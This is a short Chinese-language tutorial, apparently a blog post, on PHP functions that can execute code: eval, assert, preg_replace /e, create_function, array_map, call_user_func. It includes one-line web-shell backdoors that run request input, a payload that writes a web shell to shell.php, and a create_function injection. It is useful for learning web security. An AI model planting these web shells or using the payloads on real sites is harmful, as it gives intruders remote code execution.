代码执行
代码执行
函数解析
为了方便,把执行的代码都用$a代表
1、eval($a)
-
可以执行多行语句
<?php eval('phpinfo();phpinfo();'') ?>
2、assert($a)
-
可以执行单行语句
<?php assert('phpinfo();'); assert('eval("phpinfo();phpinfo();")'); // 嵌套使用 ?>
3、preg_replace(正则表达式, 替换的内容, 要替换的字符串)
-
正则匹配出现
/e的修饰符 -
/e模式的作用是将替换串中的内容当作代码来执行- 当正则表达式匹配的东西和要替换的字符串皮配不上时,就会失效
<?php preg_replace('/sys/e', $_GET[8], 'system'); ?>访问该文件传入
?8=system('dir'), 会输出该目录下的文件然后加上tem-
写入一句话木马
?8=file_put_contents('shell.php','<?php eval($_REQUEST[2]);?>')
4、create_function()
-
匿名函数
<?php $a = create_function('$id', 'system($id);'); // 自定义函数$a echo $a('whoami'); // 输出当前权限 ?><?php $a = create_function('', '$_REQUEST[8]'); // 自定义函数$a,第一个空代表形参是空,第二个代表函数内容 function a(){ $_REQUEST[8]; } // 当传入?8=;}phpinfo();//会把这个函数给进行闭合,然后执行phpinfo();最后把}]进行注释,就会变成 function a(){ $_REQUEST[8]; } phpinfo(); //} ?>
5、array_map(要用的函数,要处理的值[值一定是数组])
-
回调函数,调用某个函数,对数组进行处理
- 一句话木马
<?php array_map('assert', array($_REQUEST['a'])); array_map($_REQUEST['a'], array($_REQUEST['b'])); ?>
6、call_user_func()
- 也是回调函数
7、双引号二次解析
- php的字符串高级用法
- php版本在5.5以上才可以使用
"${phpinfo()}"

浙公网安备 33010602011771号